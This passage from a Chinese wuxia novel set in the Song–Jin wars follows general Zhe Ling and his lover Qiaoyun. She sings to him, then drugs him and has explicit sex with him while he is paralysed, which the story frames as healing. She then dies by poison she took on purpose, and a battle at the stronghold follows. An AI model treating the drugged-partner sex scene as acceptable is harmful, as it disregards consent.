寇。梁山事了,你坚辞不肯从军,带我离去,却又路遇二叔,盘桓了那许多时日。
继之靖康国难中从军,富平血海死战……」
折翎听巧云说话,记起当日巧云通知安鸿阵前援救之事,心上多了七分感激,
紧了紧怀抱续道:「那时危急,多亏你与二弟来援,否则我必命丧黄泉。曾听闻
美人恩重一说,以己度之,古人诚不我欺!深恩厚意,我……」
巧云以手掩了折翎之口,阻他下言,抬头迎上其目光道:「廿三郎,你我间
无分彼此,何来恩怨之说?」顿了一顿,鼓足勇气道:「你我并未刻意安排,只
是在世间随运而行,竟是一步步近了蜀地。如今蜀中就在此砦山后,峨眉想来已
是不远。廿三郎,你我不若抛却此间尘世纷扰,往峨眉结庐可好?」
折翎望向巧云的目光随着巧云之言,自动情缓缓转作纠结愕然,蹙眉沉吟道
:「这……」
巧云不语,只是满怀希冀望向折翎。折翎心思昔日之诺,怀抱娇柔之躯,一
时间,满腹百炼英雄气化作温情绕指柔,左右为难,不得决断。待目光碰上怀中
巧云投来的期盼,心头一软,就欲开口应承下来。恰此时,巧云久候无果,心中
原本的无比坚实也就虚了,开口歉然道:「适才砦墙之上,你放过了二师公,此
刻砦子人人心中俱是感激。我去劝他们不要襄助金人,自此砦迁往他处,由得金
宋各凭自力征战。你我便置身事外,同赴峨眉如何?」
巧云不说这番话,折翎心头尚蒙了层儿女情长。此刻听了巧云言中金人、砦
子等语句,如自噩梦中醒来般满身流汗,自忖道:「折翎折翎!你沉湎往日情怀,
竟险些误了大事!」咽了口唾沫,双手扳住巧云香肩道:「云儿,莫忘记你我便
是宋人!宋人若是皆如你所言般置身事外,则我大宋危矣!此砦当金人入蜀必经
之地,合该你我逢其会,到得……」
说到此处,折翎已然全醒,思绪亦得以活络,将负伤入砦后的每桩疑惑全都
记起。心中纷乱,纠结丛生,却不知如何开口质问。巧云只觉折翎双手渐渐力大,
肩头隐隐作痛,遂娇呼道:「廿三郎!」
折翎闻呼,一震收手,退两步站定,面色复杂。半响,左手握拳、右手摊掌
狠狠一击道:「云儿,这砦子可是受你约束?花溪峡外,伤谷山李七、死林童者,
可也是你师公么?砦外金人营侧那小营内宋人,可是这砦中人么?」
折翎初问时,声似蚊呐;三问之中,音量渐渐高亢;到得最后,更是挥掌击
在侧墙之上,再厉声道:「你随我多年,一向知礼明义,待我弟兄如同爱子。我
杀金狗,你也曾多有襄助。自我被伤与你入这砦中,怎地却变成如此?你是何种
身份?砦子与你是何关系?你所为可疑之举,我尽皆不问。可你为何……为何纵
容砦中人伤我弟兄?又为何与金狗同流合污,侵我大宋江山?你还知不知自己乃
是宋人!」
折翎掌中蕴含内劲,劲风到处,墙皮浅砖碎裂,四处纷飞。巧云听了折翎问
话,心如死灰、不躲不闪,任由墙皮击打在身,只是默默流泪。一块砖碎正击在
巧云面颊,登时红肿。折翎见状,心头一痛,伸了手欲问,却终于还是将手定了
在空中。
屋内一片安静,屋外一人快步行至门前,踟蹰许久又蹑足退去。折翎见烛光
下巧云楚楚可怜,向前一步想要揽过巧云,却听巧云自嘲一笑,轻声道:「我也
不知自己应否算个宋人!」不待折翎答话,回转坐在桌前,双手虚按琴弦,凝视
折翎问道:「将军是否执意在此抗金?」
折翎见巧云面有泪痕,颊间红肿,眸中却尽是安平静谧,自己胸中那为国为
民的万丈雄心化成的一个是字竟是哽在喉间,无法出口。有顷,巧云轻叹,手拨
绿绮,决绝道:「将军心意,妾已深知!妾十四岁出砦下山直至去岁返来,也做
了许多事,但唯有与将军定情一事为妾自择甘愿。将军待妾,天下至厚。将军送
我仙桃,妾自当报以琼瑶。此一场大战,正是妾为将军出力之时!」
折翎听巧云所说若有深意,开口欲问。巧云微笑摇头道:「将军不必发问,
妾自当全数尽言以告。敢请将军先听我这一曲!」言罢,美目流转,素手轻抚,
绿绮铮铮。
折翎心有疑窦,本是神思不属,待琴音响起,转眼望去,却见巧云与适才愁
苦悲痛者判若两人,面上容光,身上神采,仿佛重回昔年江南游历时一般。
巧云举目望折翎一笑,曼声唱到:「太行晓色透窗明,画眉黛,试瑶筝。不
期相见,飞将若龙城。三十六砦皆俯首,穿云箭,大黄弓。及笄年怀总角性,不
知惧,喜贼清。身虽处险,君在妾自平。挽弓问云云不语,得一曲,奏君听。」
巧云所唱曲调,波折婉转,俏皮荡漾。折翎倾耳细听毕,神往道:「那是重
和二年,我与佟仲自统安赴中原。途径太行,路见盗匪剪径。我赶到的晚,那些
无耻匪类竟将一商队之人尽数屠戮,连尚在襁褓的婴儿也遭毒手。我上得太行,
遍寻匪砦,但见匪类,尽皆射死。山后七砦匪首得了消息,聚在紫团峰主砦中欲
倚多为胜。」
巧云嘴角微翘道:「那日我晨起画眉,试了试琴便听见前厅纷乱。蹑足绕在
一边偷窥,不想得见将军。将军独当砦门,发矢如电,每开弓必有山贼毙命,遍
地狼藉。那武功最高强的匪首,想使轻功与将军近身搏杀,却被将军一箭钉在廊
柱之上。众匪跪地乞命,将军……」
折翎迈前一步,打断巧云道:「众匪何足虑?那时你方及笄,清巧秀丽,一
双大眼美不胜收。我射箭杀人,你藏在墙边非但毫不惧怕,而且面带笑容。我射
死一人,你便笑一笑。我将那人钉在柱上,你竟笑的前仰后合。众匪乞命时,若
不是你对我摇头,我怕要射杀所有人才肯罢手。」
巧云起身,盈盈一礼道:「那时我涉世未久,只道杀戮寻常。幸得将军教导,
日后心中方有正邪之分。」
折翎再前一步,将巧云扶起道:「那时我年少气盛,你父当面却仍出言无状。
你不责怪我便已喜出望外了。盗匪虽掳了你上山,却成全了我与你初见。砦中那
一望,我便喜欢了你。只是当时痴傻,不懂情爱之事,以致而后一年,每每对月
怅然。」
巧云听折翎提起当时随自己上太行游说诸匪造反,现已丧命安鸿剑下的四师
公,心痛如绞,花容一黯。尽接着再听折翎自讽痴傻,又忍不住含悲莞尔,假作
嗔怪道:「痴傻怎只当时?」舍了折翎搀扶,坐在桌前轻拨慢捻,又开口唱到:
「月上楼边,樽酒暖,座间客多情浅。女儿心凉,却见绣帘高卷。转出如旧翩翩,
双目盼,遍楼生灿。动红鸾,急拨琴弦,弥彰羞红满面。得月圃中生白草,怀绿
绮,千里重见。湖荡扁舟终身订,人近金灯远。喧嚣繁华气多,诺峨眉,一如所
愿。心意合,并肩同观双燕,天光忽敛。」
巧云此唱,与前段略有不同。虽然依旧婉转,却多了些柔媚;虽然亦有俏皮,
却更添几分绮丽;将女子红鸾心动的娇俏与初承云雨的甜懒表现的淋漓尽致。巧
云按琴,羞面笑道:「千里送琴,得上绣船。真不知你是真痴傻,还是故作痴傻!」
折翎神思随曲飞去过往,沉湎中闻巧云言,当时情形顺势出于心脱于口:「
红玉嫂嫂可是当夜就拉了韩五哥回房的,我却漏夜跑去求琴,旬月方归,痴傻可
见一斑!」
巧云面色更红,轻啐道:「终于肯承认那琴是求非购了么?」
折翎大笑,复前一步站在巧云身边,执其手慨叹道:「我认为太行一别,从
此天高水长,怕是永无再见之日。怎知天可怜见,真让我与你京口重逢。上天待
我折翎何厚!玉人心中所愿,休说一琴,便是十五满月,我折翎也必登天取之!」
巧云面露感动,猛抬头看了看折翎,却又缓缓低下头去。再抬起头时双唇翕
动,眼中晶莹,却还是默默低下头去。折翎见她情状,一句「我与你抛开一切,
同上峨眉」险些脱口而出。踟蹰良久,最终仍只是闭目将巧云拥在怀中。
巧云亦闭紧双目,将整个身子埋在折翎怀里,只愿天下皆无,仅余此一屋。
转念又知此愿难现,此情难再,心中一痛,将折翎缓缓推开。
折翎诧异,却见巧云已端坐整琴。不几声,攻伐之气便已弥漫厅堂。金戈铁
马,刁斗的卢,浓浓肃杀好似扑面而来。巧云双目坚毅,抚琴唱到:「身登诸峰
绝顶,矢作霹雳惊弦。荡尽俗世群魔舞,破去红尘污瘴烟,清平还与天。北向扫
平胡虏,敌酋砌首京观。披甲解民倒悬苦,奔袭饮马敕勒川,莫待鬓发斑。」
巧云每唱一句,心就往下沉一分。而折翎每听一句,怀着的武勇豪迈就多一
分。待巧云一曲唱罢,折翎只觉得一腔热血在胸中沸腾起来。不由击节赞道:「
御胡虏,保万民,建功业。好男儿生当如此!云儿,唱的好!我与你……」
此时屋外山风大作,吹得林木呼呼作响。隐隐之中,似有雷声传来。平日里
巧云最惧雷鸣,折翎闻雷住口,双手掩了巧云双耳想将她揽进怀里,却发现巧云
置自己言语若罔闻,身子发僵,面上如古井无波,依旧端坐操琴。琴声自激越转
作悲惋,让人听了愁结满腹,直欲落泪。折翎错愕不知所以,撩衣坐在桌边,静
静看着巧云。只听巧云开口唱到:「窗外轻雷催夜雨,如泣如诉心声。斗室唯有
残烛明。再无私倚处,难见月华生。君做川陕擎天栋,北御万千旗旌。妾自助力
镇三坪。唯念秦淮畔,成双燕儿鸣。」
折翎听出巧云后半词中助己御金之意,心头大喜,待听到秦淮燕鸣一句唱的
悲若啼血杜鹃,又见巧云精神委顿,坐在桌前竟似摇摇欲坠,遂赶忙跃起抓住巧
云双肩,骇然惊呼道:「云儿!你没事吧?」
巧云面色苍白,强挤笑道:「当年红玉姐姐曾说我思重体弱,不易抚琴,将
军是知道的。今日只是太过专注,有些疲累罢了,不妨事。」
折翎关切道:「既如此,就不要再唱了。我扶你去休息一下!」
巧云挣脱折翎,坐直身子道:「最后一曲,请将军听完。」说完也不待折翎
同意,便抚琴成曲,启朱唇唱到:「冰肌玉骨清无汗,水殿风来暗香满。绣帘一
点月窥人,倚枕钗横云鬓乱。起来琼户启无声,时见疏星渡河汉。屈指西风几时
来,只恐流年暗中换。」
一首婉约词,此时巧云唱来却毫无缠绵悱恻之感。同前几首词曲相比,仿佛
内中一丝情感也无。折翎听罢点头道:「这不是那年我与韩五哥上楼时,你正在
唱的哪一曲么?」
巧云亦点头道:「正是。此词乃是先祖之作,在世间广为传唱了的。」
折翎恍然道:「原来如此!难怪云儿你如此喜爱,时常哼唱。」
巧云面露失望之色,继而轻轻叹了口气,起身至火盆处摸了摸出门前备好的
酸浆饮子,自己浅啜了口,又仔细抿了抿唇舌后递予折翎道:「将军,请满饮此
杯。妾有话要说!」
折翎听她说得郑重,心中也是一重。端坐了接盏饮尽,等巧云告己以实。谁
知巧云却将话头左拉右扯,只是不说正题。折翎强忍焦躁应答,渐渐觉得双眼沉
重、身体疲乏,强自打起精神。
巧云见折翎委顿,住了口回身,在箱笼里寻出两盏金色灯笼,掰开合好挂在
床头,回眸展颜一笑,垂首将折翎自桌旁牵至床前。折翎见了那一对金灯,心中
虽是一荡,却仍难敌睡意渐浓。迷糊间只觉得烛火渐暗,四处皆黑,身重难动。
巧云轻抚折翎面,敛笑柔声道:「将军暂且歇息,妾有些事要做。事毕便回来伺
候将军!」
第八章 云去戈起
朦朦胧胧中,折翎听见有人在耳边呼喊。欲睁眼看时,只觉得双眼似坠了铅
块般沉重难开。将一口气攒在喉口勉强嗯了一声后,耳力仿佛也灵光了许多,再
试图活动手指头颈,却依旧不能挪动。
巧云见折翎虽有应声,但闭目不动,心知其药力尚未全退,在他耳边低低喊
了声「廿三郎」,接着便落下泪来。折翎听清声音所属,面上又觉有水滴落,心
中疑惑。身子难以动弹,便把心思转的飞快。待记起自己无知觉前发生的一切及
巧云的最后一句话语,心中暗叫不好。欲提真气驱毒,却发现经脉中一丝异样也
无,心内急如火焚,怎奈毫无办法。
巧云轻抚折翎面庞,将适才做的事细细梳捋了一遍,觉得毫无差错,遂起身
将床头所挂金灯点亮,附身道:「廿三郎,金灯我已挂好。那夜江中绣船之上,
我初经人事,未能尽意服侍。今日,就让我好好弥补。」言罢,悉悉索索为折翎
宽了衣物,又将自己脱个精光,俏生生立在床榻边上。
此时天已微明,雷收雨歇。屋内烛火不红,金灯难灿。巧云独立,面粉唇朱、
胴体嫩肤、椒乳蛮腰、背腿无暇,犹若初破茧之蝶,美不胜收。折翎裸身僵卧,
目不能视、耳畔无声,却有一袭淡淡香气飘进鼻腔,氤氲不散。俄顷,折翎觉下
身自冰冷转为火热,似是有人以口相就。未几,自那昂首处始,由点及面,僵直
化作酥麻,指端竟可微动。又数十息后,下身自热复冷,倏忽变作滚烫,阴阳交
合、无隙无间。折翎只觉周身力道一点点回复,丹田之中生出一缕阴柔之气,将
本来的真气密密缠绕起来。小腹之下,双腿之间,畅爽无比。又过一刻,那缕阴
柔之气渐渐融进了折翎丹田真气之中,牵引着在体内转了个周天,而后便在肺脉
之中不断往来徘徊,一点点将伤损医复。
折翎虽知巧云所行于己有益,但既不知巧云何处习得此等功法,又不知此法
是否会令其自伤,心中甚是难安。暗暗将身上所聚微力凝在眉下掌端,瞠目起手,
一把按在巧云跨间。
折翎只觉得手心发烫,定睛看巧云全身泛着淡淡红光,就连双目也是赤红。
折翎大惊,喉头一紧,挤道:「云儿……你……」
巧云见折翎醒转,嫣然一笑,面上眸中透着说不尽的平安喜乐;动作不停,
如同骑在匹烈马上一般,空中长发飞散、胸前波涛翻涌,整个人散着道不出的媚
惑妖娆。
折翎望着巧云双眼,自己眼神渐渐迷乱,陶醉其中难以自已,渐渐不知身处
何地、今夕何夕。或是良久,亦或转瞬,折翎体内真气若江河入海般重归丹田,
肺脉伤情尽复。正恍惚间,忽有一片温热扑面洒至。折翎醒神,只觉得鼻中淡香
骤减,取而代之的是血气腥膻。大惊下抬眼去看,只见巧云七窍流血,正软软倒
下。
折翎跃起将巧云搂在怀中,只觉五内俱焚,大喊道:「云儿!怎会如此?为
何如此?」
巧云瘫软在折翎怀中,平静微笑道:「廿三郎,我服了剧毒,生机已尽。你
莫出声,且听我讲。」
折翎眼红心碎,连呼「为何、为何」,不迭点头。
巧云艰难喘息几下,续道:「我以为能当面对你说明一切,但最终还是难成。
我已将所有事情书为一信,待我死后便会有人送至。孟门、诸葛砦、花溪峡外宋
人、金人因何而至此地及我心中一切,俱在信中……廿三郎,但齐心守砦御敌,
切莫为难我砦中门人!」
折翎趁巧云说话,将手按在她背上的至阳、命门两穴,欲以真气为她疗伤续
命。不料真气所至,穴移脉碎,竟是无可进处。不由心间绞痛,双泪长流。
巧云见折翎流泪,欲伸手为其擦拭却因无力抬手而不能。遂自嘲一笑续道:
「廿三郎莫悲!我这一生所为,除许身于你外,皆非自己情愿。生,恐永陷愁结
欺瞒而不能自处。如今一死,家国大梦再与我无干,倒是轻松写意。只是,我这
心中却怎也舍不得你……」说到此处,口中又涌出一口黑血。
折翎只觉怀中人呼气越发火热,可身子却冷如冰冻,知其随时弃世,于是也
不管有无用处,径自把体内真气催到极致,将巧云罩在其中,希冀能多留她哪怕
半刻一时。
巧云一口血吐出,只觉双眼难开、疲累欲睡。混乱迷目中呢喃道:「廿三郎,
那酸浆中有毒,永远不要再喝……箭营之中,有我……有我孟门门徒……晓月与
娜娜,皆不可信……娜娜……娜娜她……」吸一口气,再无动静,香魂一缕,散
去无踪。
折翎不言不语、不挪不动,如一尊石像般凝视着怀中的巧云。毫无表情的脸
上空余两道泪痕,眼中却再无热泪涌出,只有雄浑的真气仍在源源不绝的往巧云
的身子上扑过去。巧云已死,真气滑过她的身子往四边发散,将床帐与金灯打得
摇摆晃动,如同二人仍是在秦淮舟中一般,赤身围衾相依相偎,于天微明时看双
燕衔泥。
东方红日初升,温暖日光将林间云雾映做缕缕红纱,层层叠叠笼罩在坪中苍
翠之上;远近高低,传来鸣鸟振翅、窜兽折枝之声。砦子三坪二十余层台之中,
皆有衣白之人鱼贯而出,各成队伍往折翎巧云所在中坪聚集。两刻之后,屋外已
是密密站满了人众,皆缄口不言。王砦主与两名男子站在最前,正对房门,满脸
肃穆。王砦主身后,约有百五十众,俱是青壮。立他左首那人年过五旬,身高五
尺,五短身材,面庞黝黑。无论气质样貌,均是田间地头常见老农。他身后只立
了五人,个个气质与他相仿。右首那人是个年轻后生,浓眉白面,望之可喜。他
身后所立人数最多,却是非妇即幼、非老即残。
安鸿早就携魏庆、晏虎、高诵候在坪口,待王砦主上坪便来到折翎门口,背
房面众站定。白衣砦众排班列位之时,虽无人说话,但脚步声亦是颇为嘈杂。待
一切清靖后,折翎房中的布幔吹动之声便凸显在安鸿耳中。
安鸿闻声,面色一凛,纵身撞破房门便冲进屋中。魏庆反应稍慢,正欲紧跟
冲入,却听屋内安鸿一声断喝:「你们三人守在门外,不要进来!」
魏庆倏地止步,转身与险些撞在自己背上的晏虎高诵一同把住门口。动作才
定,就见王砦主和身边两男子面色一悲,扑通一声跪倒在地。紧接着,场间所有
白衣砦众跪倒一地,山呼道:「送长公主!」
箭营三人骇了一跳,虽是丈二和尚摸不到头脑,却也隐隐觉得不好。忙侧身
避让大礼时放眼去看,只见砦人皆悲,痛哭流涕者颇众。那一声山呼更是亦庄亦
恸。
屋内,安鸿见床上二人赤裸相偎。巧云不动,折翎真气外泄、已近枯竭。分
别唤了二人几声,却无丝毫动静。遂不敢大意,将掌抵在折翎后心,柔发内力入
折翎经脉,探至透体出处发力一震。折翎身子一跳,哼了一声,瞑目向后便倒。
安鸿闪身将他让倒在床上,急扯了锦被为巧云遮羞。再伸手去探巧云鼻息,心中
便如触手处那般一凉。怀了戚戚伤悲长叹口气,强收情绪将折翎扶起坐正,以真
气助他周天流转、回复气力。
良久,折翎体内真气回复、已可自行运转,神智亦稍复,遂缓缓睁眼道:「
二弟,有劳了。」
安鸿听他语气平静,毫无波折,担心道:「大哥保重身体!嫂嫂……嫂嫂之
事,尚请节哀。强敌在外,砦中一切还需依仗大哥!」
折翎侧头直直看着巧云,抓住她露在被外的冰冷双手道:「帮我请王砦主和
风先生去议事厅。」
安鸿错愕,继而恍然黯色道:「砦众数百皆已聚在大哥房外。昨夜嫂嫂来寻
我时便已吩咐了我今早请风先生一同来见大哥,但我遍寻不到,这才带了魏庆、
高诵和晏虎来大哥房前听调。不料嫂嫂她……」
折翎默然,只是平静地看着巧云尸身。半响方道:「二弟先出去安抚砦众,
我随后便出去。」
安鸿点点头转身,行了几步转回道:「适才我闯门时,王砦主及众砦丁好似
已知晓嫂嫂……死讯,并山呼了声长公主。大哥恐要留意应付!」
折翎姿势依旧,心中想起昨夜巧云所唱那句「妾自助力镇三坪」,静寂若死
的心忽地猛跳了几下,全身血气都跟着心跳颤抖翻涌,五关四肢俱僵麻不能动。
良久,方缓缓平复道:「云儿昨夜已告诉我了。」
安鸿诧眼看了看折翎,跪地咚咚向巧云的尸身磕了四个响头,再不多说,转
身离去。
屋外数百衣白之人依旧长跪,见安鸿独出,面色凄然,遂悲声又起。良久,
折翎怀抱巧云,整衣而出。最近的王砦主及那两名男子见到二人,匍匐于地,泣
下沾襟,身后数百人瞬时悲如雷动。魏庆晏虎见状,亦是伤悲。高诵更是痛哭流
涕。折翎目不斜视、旁若无人,径直走到台阶之下、耳房一角,跪在地上用手一
捧一捧的挖起土来。
安鸿和箭营三人抢前欲相助,被折翎挥手而止,只得站在一旁默默垂泪。王
砦主及麾下众人停了哭泣,只长跪不动看着折翎动作,眼中晶莹闪烁。又顿饭工
夫,事毕。折翎在巧云额上深深一吻,捧其面道:「云儿,你暂且歇息。此间事
了,我便在此常住陪你,你我二人再不分离!只可惜,不能带你去峨嵋了!」言
罢,便欲将巧云尸身掩埋。
此时,一旁长跪的王砦主忽道:「禀将军,长公主是服用魍魉涎而亡,死后
面容如生,身子淡香常在、经年不腐,暂时不必掩埋。长公主遗命小人,若将军
不提峨眉事,便任由将军将她埋葬;若将军提及,则让小人提醒将军此节,以便
与将军同赴峨眉。」
折翎闻言一怔,继而转喜,再转横眉。将巧云缓缓放好,霍地起身怒道:「
你既知道云儿寻死,为何不加以阻止?」
王砦主恭谨行礼,悲声道:「回将军,小人年长公主十七岁,看着她在此砦
中出生长大。长公主自幼待下人宽厚,我与她虽份属主仆,却是情同叔侄。昨夜
公主对小人作遗命之时,小人也曾死死劝阻公主。怎奈公主既难放弃家国,更难
放弃将军,为全将军志向与我等忠义,死志已决。在寻我前,便已服下魍魉涎。
此药乃我孟门独门秘药,服之无解。小人见此状,只得奉令。小人无能……小人
无能……」
王砦主说到此处,已是泣不成声。折翎见他额头青肿,痛悔满面,知他所言
属实。想到巧云如此决绝,恐多半是为自己优柔逼迫,心头一酸,险些流泪。深
吸口气强抑酸楚道:「砦主请起。」
王砦主给巧云尸身磕了头,方从地上爬起。他身后白衣人众依例磕头后,也
全都站起。王砦主向折翎行礼道:「将军,小人姓王,单名一个锦字。因公主及
门中长老常不在砦中,故而暂代砦务,并非什么砦主。今后,王锦愿为将军帐下
一走卒,与砦中弟兄一同随将军守砦抗金。砦主这个称呼,还请将军免去,直接
呼我姓名便是!」
折翎闻此言,心中又浮起巧云昨夜音貌,一时倒是悲大于喜。回望巧云、神
有不属,呢喃出声:「云儿……孟门……究竟是一个什么门派?竟有如此……嗯
……」
王锦见不到折翎面貌,以为他在向自己询问,怔了怔方道:「我等幼年入孟
门时便发过毒誓,不可向任何外人透露孟门来龙去脉。还望将军万勿怪罪!」
折翎不知所以的「唔」了一声,王锦还道折翎不满此答,遂诚挚道:「昨夜
长公主曾言,关于孟门及此砦之事,她自会安排使将军知晓,不用我等破誓,请
将军耐心等候。至于我等随将军抗金御敌之坚决,还请将军放心信任。我等虽是
……虽是……但毕竟是华夏一统,非胡夷族类,怎甘心为金人走狗,葬送我华夏
大好河山!当年老门主尚在之时,多次拒了西夏胡贼内外交攻之议。后老门主丧
时,三位公主尚未成年。我门内左使主事,右使辅之。谁料左右二使一改老门主
之风,竟转与胡贼合作,先合西夏吐蕃攻陕西,后联明教菜魔乱江南,今又引金
人入中原。我砦中门人,多有不满。怒而敢言者,皆被诛杀。三公主年幼,二公
主与左右二使一心,唯长公主秉承老门主之念,屡因大义所在与左右使争。故我
孟门中人,多奉长公主为正朔。昨夜长公主号令全砦,愿御金者留,不愿者走。
去者仅三十余,而砦外小营中归砦者逾五十。今日在此聚集,先为送长公主,后
为尊长公主遗命、听将军调遣!」
折翎耳渐聪、神渐明,追问道:「既如此,你门中左右二使今在何处?」
王锦道:「将军宽心,二使不在砦中久矣!我所言旧事已近破誓,不敢再说。
还请将军相信我等御敌守砦之心!」
折翎拍了拍王锦肩头,见王锦身边两人皆直勾勾盯着自己,那白面后生眼中
更是充满愤怒。遂问道:「这二位是何人?」
王锦恍然,一指面黑年长者道:「此乃我孟门专责刺探之人,姓赵名破。昨
夜自小营归砦,因此尚未与将军相见。」
赵破对折翎憨憨一笑、抱拳为礼,便又回复了悲痛样子。他身后的五人随其
行礼,动作整齐划一。
折翎回礼,王锦又指白面后生道:「此乃我孟门专责粮草军械之人,姓李名
豫。此前因砦中事需对将军隐瞒,故不曾为将军引见。」
李豫怒目瞪着折翎,切齿道:「御金之际,砦中军械粮草事我会全力助你。
且待击退金人,我定来寻你为长公主报仇!」
折翎闻言心头一绞,毫不犹豫道:「如此甚好!我亦舍不得云儿孤独!」
李豫微愕,继而转头,从鼻孔中发出重重一哼。折翎也不理会,反回头对箭
营三人问道:「云儿说,箭营中亦有孟门之人。那人可在你们三个中么?」
魏庆晏虎茫然,居中高诵向前两步跪倒道:「将军恕罪!属下先被门中左使
派至方腊身边监视,后将军与韩五爷生擒方腊,又奉命借机追随将军身边。」语
罢一把扯开自己衣襟,露出左胸。胸前刺着斑红一花,花瓣六出,如锦若绣。
折翎回望王锦。王锦亦扯衣露出左胸,胸前亦是一团锦绣,与高诵如出一辙。
折翎轻轻点了几下头,余光尽处,看见克里斯蒂娜面中带恨站在己房门前。晓月
在胡女身后不远对着巧云方向磕头,一张俏脸上涕泗横流。折翎记起巧云临终所
言,心头不由疑恨皆生。
高诵见折翎不语,双眉紧蹙,遂向前膝行几步道:「高诵自知愧对将军教导
信任!请将军随意处置,高诵皆是心甘!」
折翎欲语,却听得锣声猛起,自远传来。王锦闻声回望,紧接便单膝跪倒大
呼道:「我等皆愿奉长公主遗命,听将军号令,守砦御敌!」场间数百白衣,皆
随其下拜呼喊,声震群山。
折翎知铜锣响必有紧急,亦晓得王锦心思,遂扶起王锦提气扬声道:「金人
残暴,若是使其入蜀,陕西中原惨剧,必将重现于天府。我等皆是华夏汉统,怎
能坐视蜀中炼狱?」说道此处,回视巧云尸身,含悲坚毅道:「恰此时,当此地。
折某愿与诸位一道,使金人不得存进,保我华夏荣光!以金狗性命,为长公主祭!」
闻折翎最后一喝,自王锦三人以下,众白衣皆悲愤随呼。折翎吩咐王锦与安
鸿等人去砦墙,暂依旧法配置砦丁守备。待王锦扬声传令,这才回身扶起高诵道
:「随我御敌,前事概不问。佟仲不在,我与强敌对射之时,你可愿在身边护我
周全?」
高诵闻言大喜,重跪下以头顿地。三拜之后,复膝行退几步方才起身,心中
感佩,实无以言表。
安鸿上前,耳语折翎道:「我先去砦墙。若是有紧急,便让魏庆来报。若是
无事,大哥且先定定哀思。抗敌事大,却不急于一时。」
折翎面上迟滞,弯身抱起巧云方道:「二弟,等在此处,我安顿云儿睡下便
来。」
安鸿还想再劝,身后魏庆一把拉住他手臂,默默摇头。俄顷,折翎自房中提
弓挎箭而出,眼望对面二女大声吩咐魏庆道:「你守在此处,有意图入屋者,杀
无赦!」
对面的克里斯蒂娜闻言怒视折翎,狠狠剜了他一眼后便拂袖回房,晓月却仍
是跪拜哭泣不已。折翎心急先前锣响,心中又未将两个弱质女流放在心上,故携
了安鸿等,飞速下坪。
折翎安鸿脚程快,不多远便将高诵晏虎甩在身后。飞掠之际,安鸿忽道:「
昨夜嫂嫂来寻我,托我将一封信送往阆州秦记脂粉店,大哥可知此事?」
折翎讶异道:「信不是交给我的么?」
安鸿亦讶,摇头否定。折翎面色微滞,沉思不语。安鸿久候无音,便也不再
言语。眼见砦墙将至,折翎忽道:「待一切完备,二弟出砦之前,到我房中取了
那八门箭阵的秘谱带在身上。」
安鸿一凛,倏地停步,伸手抓住折翎道:「大哥,另遣人去求援吧!你我兄
弟同心,其利断金,必可安守此砦!」
折翎心中一暖,反握其手道:「砦中兵少,求援事大。他人去,我委实放心
不下。二弟放心,无论如何,我定会等你回来。」
安鸿道:「大哥可要言而有信!你我兄弟,同生共死!」
折翎将头重重一点,携了安鸿手挤出一笑,轻身飞掠而去。
到得砦墙,只见墙上衣白砦丁约有二十,正与郝挚、陈丹、谢宝交杂着向下
射箭。陆大安不知在何处寻了许多碗口大小的石头,又拘了几个不会射箭的砦丁
与他一道向下抛砸。墙前河外陡坡之上,有金人伏尸数具,另有百余金人,正在
一个首领呼喝下分散开来,举着大盾缓缓后退。金人渐远,砦丁箭支多已力竭难
至。陆大安等人丢下的石块沿坡滚动,每有金人踩绊踉跄,箭营之箭便随之建功。
折翎见状,从身后撤出支无翎箭搭上弓弦,弓开满月喝一声「着」。声音未
落,金人首领已是血溅当场。砦墙上喝起冲天一声彩,百余金人志为之夺,仓惶
抢了尸体,如潮水般退去。折翎手中不停、箭似流星,支支追魂。有几个金人发
了狠性,哇哇叫着反身杀回,却被箭营三人收了性命。
片刻之后,金人残兵退尽。地上伏尸处处,倒有一多半身上插的是无翎箭。
恰此时,王锦、赵破、李豫三人带着一队人马自砦中而来。人人肩扛手提,皆是
军械。刀枪、弓箭、盾牌、挠钩应有尽有,却多是攻器,守具甚少。折翎遥望,
面上微微色变。待到得切近,陆大安在一旁失口惊呼道:「娘的,那搬的不是神
臂弓么?」
带着抬弓汉子行走在前的李豫闻陆大安惊呼,不屑的瞄了他一眼道:「大惊
小怪!床子弩砦中亦有一张的!可惜年久弦断,竟不可用。否则抬将出来,还不
吓死你这腌臜汉!」
王锦在后,闻言喝止已是不及。折翎抬手止住横眉怒目的陆大安,正色道:
「床子弩倒还在其次,这神臂弓却真是来的蹊跷。我大宋军法,神臂弓不得遗失
一具,或败不能携,则宁碎之,防敌得其机轮仿制也。如此严令下,砦中竟然有
四具之多?」
李豫将头偏到一边,鼻孔向天道:「以我孟门左使之威势,莫说是几具破弓
弩,便是你们这群贼厮杀汉的性命,也只不过反掌之间便取了!」
王锦赵破闻李豫言语,面色皆变。赵破将李豫拽了去安排弓弩布置,王锦对
折翎赔礼道:「李豫年纪尚轻,说话不知轻重,还望将军勿怪。」
折翎摆摆手道:「无妨!只是你门中左使之能,让折翎好生费解。不知砦主
……」抬眼看王锦面色为难,心中忽记起巧云临终叮嘱,遂再摆手道:「无事,
烦劳砦主请赵破赵兄过来。他既专责刺探,我想详细问问山外军情。」
王锦不迭应声,再嘱了折翎直呼己名,才跑去将赵破唤至。赵破趋前行礼道
:「将军有何事吩咐?」待折翎重复了遍想法,便面色憨憨道:「宋军富平战败
后,军士多逃散,兵将各自不知,唯吴玠收拢残兵数千自永兴军路退守大散关。
后其他散军闻知张浚驻兴州,复聚而为军。但多有散兵不复归者。赵彬等部见事
不谐,反降了金人。此刻宋军全军,不过几万众,且军无战心,其状不稳。」
赵破说到此处,一旁的陆大安想起佟仲在荒村中说的话,心中憋闷,遂重重
一叹。箭营一众,思及西军惨状,也是七情在面。赵破顿了顿,抬眼看折翎,见
他颔首示意,遂续道:「金人富平战中得了宋军军资无算,在我孟……嘿……以
降军为前驱,占了陕西大半。完颜宗辅将兵锋推至凤翔、神岔一带,意欲兵分南
北、两路入蜀。南路取大散关佯攻,北路自……我诸葛砦行险入蜀,与南路军内
外夹攻。砦外金人,乃北路军探路先锋,共千二百人。带队金将名为仆散,是乌
鲁手下第一猛将,勇谋兼备。金人不擅行山路,沿途多有死伤,故后续大队尚在
木门道外越百里,数约两万,踟蹰不前,短期内无法到达此处。适才金人攻砦,
定是见小营退走。念及此后一无向导,二无后勤,恐困死山中,因此行险一搏。」
赵破语气样貌虽然憨直,但谈起情报事却是侃侃无疏。折翎听罢,心下稍安
道:「这千人小队不足虑,后续军兵却不是我等可应付的,求援事仍是要紧。敢
问赵兄,砦前是否有路直至大散关或兴州?」
赵破道:「有一小径可至二里驿,再往南行不远,过了和尚原便是大散关…
…」
此时,一人喊道:「既如此,我与安公子同去求援。」众人视之,乃是正急
